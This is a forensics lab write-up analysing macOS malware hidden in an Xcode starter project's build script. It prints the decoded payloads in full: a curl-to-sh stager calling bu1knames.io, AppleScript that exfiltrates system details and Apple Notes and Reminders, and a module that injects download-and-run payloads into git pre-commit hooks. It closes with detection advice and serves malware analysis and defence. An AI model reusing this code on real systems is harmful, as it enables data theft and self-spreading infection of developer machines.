Arctichowl 1

Arctic Howl: First Tracks

About this lab
At the Cascade Law Archive, the IT department detected a sudden cold spike in outbound network traffic shortly after onboarding a new developer. While the firm primarily operates on Windows systems, the new hire requested a Mac laptop. The developer reports no intentional software downloads, but confirms cloning a starter Xcode project from an internal Git repository as part of onboarding.

1. Analyze the pcap file. What URL did the malware download the first stage from? What user-agent sent the request?#

192.168.67.2 is the best victim candidate because:

  • private RFC1918 address
  • by far the most packets/bytes
  • much higher Rx than Tx (15 MB received vs 1 MB sent) -> it consistent with a host downloading content
ip.src == 192.168.67.2 && tcp.flags.syn == 1 && tcp.flags.ack == 0

Using this filter, we observe numerous SYN packets to multiple external hosts, which is characteristic of client-side or victim behavior.

The following filter revealed the first-stage download URL and its User-Agent.

ip.src == 192.168.67.2 && http.request && http.user_agent

The strong C2 candidate: 54.152.17.253 / bulknames.io.

$(echo Vm0xd1MwNUhSWGhWV0d4VVYwZDRWVmxYZUdGVk1WcHhVMnBTVlZKc1dsWlZNakExWVd4YWRWRnJhRnBXVmxsM1dWZHplRk5IVmtaV2JGWlhZbFUwTUZkV1pIcGxSMUpYVm01S1QxWnNTbGhXYkZKR1RVWmtWMVZyVG1wTlZYQklWa2MxVjFkSFNsbFJiazVhVmpOU1RGcFdXbGRPYkVaMFQxWmtUbUpGY0ZsWFYzUmhZakZTYzFkWWNHaFNXRkpYVmpCb1ExTkdVblJsUlRWc1VteEtNRlZ0TVRCVWJGcFdZMFp3VjJKSFRqUlVhMXB6VjBaT2MxZHNhRmhTTW1ob1YxWlNTMkl4VlhoaVJtUlhZbXMxVkZWc1VrZFhiRmw1WkVoa1ZtSldXakJhUlZKUFYwWlplbUZJV2xaV2VrWlVXVEl4VjFOV1ZuTlJiRkpUWWtoQ05WWnNVa05oTWtwMFZWaG9WV0pHY0doVmJuQnpWREZXY1ZKcmRGUmlSbHBZVmxjeFIxWldXWGhYYkZwYVlUSm9SRmRXV2t0ak1VNXlZVVp3VG1GcldrMVhhMVpoVXpKU1YxWnVVbE5pUjJoVVZtdFdWMDVHV1hoWGJVWm9ZWHBXU1ZaWE5VOWhWa3B6VTIwNVZWWjZSVEJWZWtaV1pESkdTR1JIYkdsU00yTjVWbFJKZDAxV2JGWk5WbHBVWW0xU1ZsUldaRkprTVdSWFYyMTBVMDFyY0VaVk1uaDNZVlphUjFkc2JGaFhTRUpNVlhwR1MxSXhTbk5pUjJ4VFlURndkbFp0TUhoTk1ERkhWbGhvVjJGNmJGbFphMmhDWld4V1IxVllaRkZWVkRBNQ== | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | sh)
└─$ echo Vm0xd1MwNUhSWGhWV0d4VVYwZDRWVmxYZUdGVk1WcHhVMnBTVlZKc1dsWlZNakExWVd4YWRWRnJhRnBXVmxsM1dWZHplRk5IVmtaV2JGWlhZbFUwTUZkV1pIcGxSMUpYVm01S1QxWnNTbGhXYkZKR1RVWmtWMVZyVG1wTlZYQklWa2MxVjFkSFNsbFJiazVhVmpOU1RGcFdXbGRPYkVaMFQxWmtUbUpGY0ZsWFYzUmhZakZTYzFkWWNHaFNXRkpYVmpCb1ExTkdVblJsUlRWc1VteEtNRlZ0TVRCVWJGcFdZMFp3VjJKSFRqUlVhMXB6VjBaT2MxZHNhRmhTTW1ob1YxWlNTMkl4VlhoaVJtUlhZbXMxVkZWc1VrZFhiRmw1WkVoa1ZtSldXakJhUlZKUFYwWlplbUZJV2xaV2VrWlVXVEl4VjFOV1ZuTlJiRkpUWWtoQ05WWnNVa05oTWtwMFZWaG9WV0pHY0doVmJuQnpWREZXY1ZKcmRGUmlSbHBZVmxjeFIxWldXWGhYYkZwYVlUSm9SRmRXV2t0ak1VNXlZVVp3VG1GcldrMVhhMVpoVXpKU1YxWnVVbE5pUjJoVVZtdFdWMDVHV1hoWGJVWm9ZWHBXU1ZaWE5VOWhWa3B6VTIwNVZWWjZSVEJWZWtaV1pESkdTR1JIYkdsU00yTjVWbFJKZDAxV2JGWk5WbHBVWW0xU1ZsUldaRkprTVdSWFYyMTBVMDFyY0VaVk1uaDNZVlphUjFkc2JGaFhTRUpNVlhwR1MxSXhTbk5pUjJ4VFlURndkbFp0TUhoTk1ERkhWbGhvVjJGNmJGbFphMmhDWld4V1IxVllaRkZWVkRBNQ== | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d 
echo "$(curl -fskL -d "os=$(uname -s)&p=default" -o /tmp/.o.txt http://bu1knames.io/a)" | sh >/dev/null 2>&1 &

2. How does the C2 server obfuscate its payloads?#

http.request.uri contains "looz"
do shell script "osascript -e \"$(echo Vm1wR2EyUXhUbkpOVldScFRUSjRWbGx0ZUdGWFJteDBaVWRHVkUxV1ZqTlpWVnBMVkRGYWNsWnFWbHBoTVZwTVYxWlZlRk5IVmtaV2JGcFhUVEJLUlZkV1kzaFRNbEpJVld0YWJGSn...RqTWtaWFYyNUtXR0pzV2xoVVZtUlBUVEZTYzFwR1RtdFNiRnA1VlRJeGMxUnNUa2RUYTFwWFRXNUNTMVJzV2xOUmJFSlZUVVF3UFE9PQ== | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D)\" "
└─$ cat payload.txt | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
on run {}
    try
        set defaultBrowser to do shell script "
python3 - <<'PY'
import plistlib, os, sys
candidates = [
    os.path.expanduser('~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist'),
    '/Library/Preferences/com.apple.launchservices.plist',
    '/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist',
    '/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister'  # placeholder
]
found = ''
for p in candidates:
    if os.path.exists(p) and p.endswith('.plist'):
        try:
            with open(p,'rb') as fh:
                pl = plistlib.load(fh)
            handlers = pl.get('LSHandlers') or pl.get('LSHandlers')
            if handlers:
                for h in handlers:
                    if h.get('LSHandlerURLScheme','').lower() == 'https':
                        found = h.get('LSHandlerRoleAll') or h.get('LSHandlerPreferredHandler') or ''
                        if found:
                            print(found)
                            raise SystemExit
        except Exception:
            pass
try:
    import subprocess
    out = subprocess.run(['defaults','read','com.apple.LaunchServices/com.apple.launchservices.secure'], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True)
    text = out.stdout
    if 'https' in text:
        # attempt a crude extraction of a handler string on the same lines
        for line in text.splitlines():
            if 'https' in line and 'LSHandler' in line:
                # naive parse for next few lines
                pass
except Exception:
    pass
print(found)
PY
"
 
        set macosVersion to do shell script "sw_vers -productVersion"
 
        set safariVersion to do shell script "if [ -d \"/Applications/Safari.app\" ]; then defaults read \"/Applications/Safari.app/Contents/Info\" CFBundleShortVersionString 2>/dev/null || echo \"Unknown\"; else echo \"Not installed\"; fi"
 
        set userLocale to do shell script "defaults read -g AppleLocale 2>/dev/null || defaults read NSGlobalDomain AppleLocale 2>/dev/null || (echo \"$LANG\" | awk -F. '{print $1}')"
 
        set firewallStatusRaw to do shell script "if [ -x /usr/libexec/ApplicationFirewall/socketfilterfw ]; then /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate 2>/dev/null || echo \"Unknown\"; else echo \"Not available\"; fi"
        if firewallStatusRaw contains "enabled" then
            set firewallStatus to "Enabled"
        else if firewallStatusRaw contains "disabled" then
            set firewallStatus to "Disabled"
        else
            set firewallStatus to firewallStatusRaw
        end if
 
        set sipStatus to do shell script "if command -v csrutil >/dev/null 2>&1; then csrutil status 2>/dev/null || echo 'Unknown'; else echo 'csrutil not available'; fi"
 
        set cpuBrand to do shell script "sysctl -n machdep.cpu.brand_string 2>/dev/null || uname -m"
        set cpuCores to do shell script "sysctl -n hw.ncpu 2>/dev/null || echo 'Unknown'"
 
        set summary to "h=" & (defaultBrowser as string) 
        set summary to summary & "&v=" & macosVersion 
        set summary to summary & "&sv=" & safariVersion 
        set summary to summary & "&locale=" & userLocale 
        set summary to summary & "&f=" & firewallStatus 
        set summary to summary & "&sip=" & sipStatus 
        set summary to summary & "&c=" & cpuBrand  --& \" (\" & cpuCores & \" cores)\\n\"
 
        set domain to "bu1knames.io"
 
        set encodedSummary to do shell script "python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1]))' " & quoted form of summary
        
        do shell script "curl -fskL -d " & encodedSummary & " http://" & domain & "/i"
 
        set modules to {"seizecj", "fpfb", "cozfi_xhh", "txzx_vostfdi", "jez"}
 
        repeat with module in modules
            set mText to do shell script "curl -fskL http://" & domain & "/s/" & module & " "
            run script mText
            set r to random number from 2 to 5
            delay r
        end repeat
 
    on error errMsg number errNum
        set errText to "Error (#" & errNum & "): " & errMsg
        return errText
    end try
end run
 
on boot(moduleName, wait)
 
    try
 
        if moduleName = "bc" and isInstalled("com.google.Chrome") is false then
            log("Chrome not found for " & moduleName)
            return
        end if
 
        if moduleName = "iewmilh_cdyd" and isInstalled("org.mozilla.firefox") is false then
            log("Firefox not found for " & moduleName)
            return
        end if
 
        set finderModules to {"wmkvebdylw", "jey", "okvldcmw_ilvcmw", "ieqcmw", "mhmb", "ymxy"}
        set appExists to do shell script("[ -d \"$HOME/Library/Group Containers/6N38VWS5BX.ru.keepcoder.Telegram\" ] && echo 'yes' || echo 'no'")
        
        if appExists is equal to "yes" then
            set end of FinderModules to "cdyd_ilvcmwx"
        end if
 
        if finderModules contains moduleName then
            do shell script "curl -o /tmp/.f -fksL -d 's=" & serialNumber & "&w' http://" & domain & "/s" & moduleName
            boot("ieqcmw_dkk", true)
            do shell script "rm -f /tmp/.f"
            return
        end if
 
        if wait then
            do shell script "curl -fskL -o " & moduleName & " -d 'u=" & userName & "&s=" & serialNumber & "&w' http://" & domain & "/s/" & moduleName
        else
            do shell script "curl -fskL -o " & moduleName & " -d 'u=" & userName & "&s=" & serialNumber & "' http://" & domain & "/s/" & moduleName
        end if
 
    on error the errorMessage number the errorNumber
        log ("Module " & moduleName & " boot failed with message: " & errorMessage)
        delay 1
    end try
end boot

It extracts and exfiltrates the following from the victim Mac:

  • Default browser for https
  • macOS version
  • Safari version / presence
  • Firewall status
  • SIP status (System Integrity Protection)
  • CPU identifier (commented out)

3. Analyze the looz payload. What information does it extract from the victim machine?#

http.request.uri contains "cozfi_xhh"
└─$ cat payload2.txt | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
on run {}
    try
                set currentDate to do shell script "date '+%Y-%m-%d_%H-%M-%S'"
 
                set backupRoot to (POSIX path of (path to home folder)) & "Backups/"
                set backupFolder to backupRoot & "Notes_Reminders_" & currentDate
 
                do shell script "mkdir -p " & quoted form of backupRoot
 
                do shell script "mkdir -p " & quoted form of backupFolder
 
                set notesPath to (POSIX path of (path to home folder)) & "Library/Group Containers/group.com.apple.notes/"
                set remindersPath to (POSIX path of (path to home folder)) & "Library/Reminders/"
 
                try
                        do shell script "cp -R " & quoted form of notesPath & " " & quoted form of backupFolder
                on error
                        log "Notes data not found or copy failed." 
                end try
 
                try
                        do shell script "cp -R " & quoted form of remindersPath & " " & quoted form of backupFolder
                on error
                        log "Reminders data not found or copy failed."
                end try
 
                do shell script "cd " & quoted form of backupRoot & " && zip -r " & quoted form of (backupFolder & ".zip") & " " & quoted form of (backupFolder as text)
 
                set domain to "bu1knames.io"
 
        set serialNumber to do shell script "system_profiler SPHardwareDataType | grep 'Serial Number (system)' | awk '{print $NF}'"
 
                do shell script "curl -fskL -X POST --data-binary \"@" & quoted form of (backupFolder & ".zip") & "\" http://" & domain & "/n?s=" & serialNumber
 
                do shell script "find " & quoted form of backupRoot & " -type d -name 'Notes_Reminders_*' -exec rm -rf {} +"
 
    on error errMsg number errNum
        set errText to "Error (#" & errNum & "): " & errMsg
        do shell script "curl -fskL -d \"s=" & serialNumber & "&e=" & errNum & "\" http://" & domain & "/i"
    end try
end run

It extracts from the victim machine:

  • Apple Notes database / content: ~/Library/Group Containers/group.com.apple.notes/
    • This folder typically contains Notes data stores, attachments, and related metadata.
  • Apple Reminders database / content ~/Library/Reminders/
    • This typically contains the Reminders database and supporting files.
  • Victim machine serial number

4. Analyze the cozfi_xhh payload. What information does it extract from the victim machine?#

seizecj
fpfb
txzx_vostfdi
jez

We repeated the same analysis as in steps 2 and 3 for the endpoints above.

As a result, we identified jez as the payload responsible for attempting to infect other devices.

Why?
It searches the victim’s home directory for Git repositories (find ~ ... -name '*.git' ...) and then modifies/creates the Git hook:

  • Targets: .../.git/hooks/pre-commit
  • If the hook doesn’t exist, it creates it; if it exists, it edits it and appends its payload.
  • Makes it executable: chmod +x

It spreads indirectly:

  1. It plants a malicious pre-commit hook into local repos.
  2. When the developer commits and pushes those repos to the internal Git server, the infected project content (or subsequent workflow artifacts) can be shared with others.
  3. Anyone who later clones/uses those repos (or in some workflows, bundles/zips them) can be exposed, and the victim continues to pull/execute commands from C2 on each commit.
on run{}
    set maxdepth to 6
    set gitFolders to paragraphs of (do shell script("nice -n 15 find ~ -type d -name Movies -prune -o -name Library -prune -o -name Music -prune -o -name Pictures -prune -o -name '*.git' -maxdepth " & maxdepth & " -print | grep '.git$' || true "))
    set countTotal to count of gitFolders
 
    repeat with gitFolder in gitFolders
        try
            set hookFile to quoted form of (gitFolder & "/hooks/pre-commit")
            set hookFileExists to do shell script("[ -f " & hookFile & " ] && echo 'yes' || echo 'no'")
            set payload to jfzHxasoxLota()
            set payload to quoted form of payload
            if hookFileExists is equal to "no" then
                do shell script "echo '#!/bin/sh' > " & hookFile
                do shell script "echo " & payload & " >> " & hookFile
            else
                do shell script "sed -i '' -e'/((echo.*&)/d;'" & hookFile
                do shell script "sed -i '' -e'/(echo.*&)/d;'" & hookFile
                do shell script "echo " & payload & " >> " & hookFile
            end if
 
            do shell script "chmod +x " & hookFile & " 2>/dev/null || true"
        end try
    end repeat
end doMain
 
on jfzHxasoxLota()
    set domain to "bu1knames.io"
 
    set encFunc to "xxd -p -c0"
    set decFunc to "xxd -p -r"
 
    set maxTotal to random number 2 to 5
    set encTimes to ""
    set decTimes to ""
    repeat maxTotal times
        set encTimes to encTimes & " | " & encFunc
        set decTimes to decTimes & " | " & decFunc 
    end repeat
 
    set encString to do shell script "echo 'echo \"$(curl -fskL -d 'p=git' http://" & domain & "/a)\" | sh' " & encTimes
    set shPayload to "((m(){ " & decTimes & " }; echo " & encString & " | m | sh > /dev/null 2>&1 &)"
    return shPayload
 
end jfzHxasoxLota

5. How does the malware attempt to infect other devices? Which payload is responsible for this behavior?#

Based on the lab description, the likely source is the starter Xcode project from an internal Git repository, so we begin by obtaining the files.

ip.src == 192.168.67.2 && ip.dst == 192.168.67.1 && http.request && http.request.uri contains "starter"

GET /jargal.karlsen/starter-project/archive/main.zip HTTP/1.1\r\n Found this request.

In Wireshark, go to File → Export Objects → HTTP, filter for main.zip, and save the ZIP file.

After preparing the files for analysis, the following command helped identify the most suspicious file.

└─$ grep -RInE "bu1k|o.txt" . 
./MarkdownEditor.xcodeproj/xcuserdata/.xcassets/xcassets.sh:5:bash /tmp/.o.txt

Earlier, we observed the host retrieving a C2 stager via curl and applying multilayer decoding. A hidden build-phase script that writes to /tmp/.o.txt is consistent with that execution chain.

└─$ sed -n '1,200p' MarkdownEditor.xcodeproj/xcuserdata/.xcassets/xcassets.sh
#!/usr/bin/env bash
x=$(echo '3336333333373335333733323336363333323330333236343336333633373333333636323334363333323330333633383337333433373334333733303333363133323636333236363336333233373335333333313336363233363635333633313336363433363335333733333332363533363339333636363332363633363331' | xxd -p -r | xxd -p -r | xxd -p -r | sh )
bash -c "$x" 
sleep 2
bash /tmp/.o.txt
 
 
└─$ echo '3336333333373335333733323336363333323330333236343336333633373333333636323334363333323330333633383337333433373334333733303333363133323636333236363336333233373335333333313336363233363635333633313336363433363335333733333332363533363339333636363332363633363331' | xxd -p -r | xxd -p -r | xxd -p -r
curl -fskL http://bu1knames.io/a

This matches our packet analysis exactly, which showed that the .o.txt file was dropped.

The initial malware is embedded in the Xcode project’s Run Script build phase, specifically in: MarkdownEditor.xcodeproj/xcuserdata/.xcassets/xcassets.sh

The obfuscation method is:

  • hex encoding, with three layers of xxd -p -r decoding,

Digital Forensics -> Defensive Security#

From a defensive perspective, the value of this sample is not limited to reverse engineering the malware itself; it is also a useful blueprint for detection design. The chain is observable at multiple points: an Xcode Run Script triggers shell execution, retrieves a staged payload with curl, accesses user data stores such as Notes and Reminders, and then modifies .git/hooks/pre-commit to persist through routine developer workflows.

A threat-informed emulation approach would use this sequence as a validation scenario for Mac developer endpoints. Rather than asking whether a specific IOC is blocked, the better question is whether the defender can reliably detect the full behavioral chain:

  • developer tools spawning sh, bash, curl, or osascript
  • unexpected access to Notes or Reminders data paths
  • creation of temporary collection archives
  • modification of Git hooks within active repositories
  • outbound network activity from script interpreters or build-related processes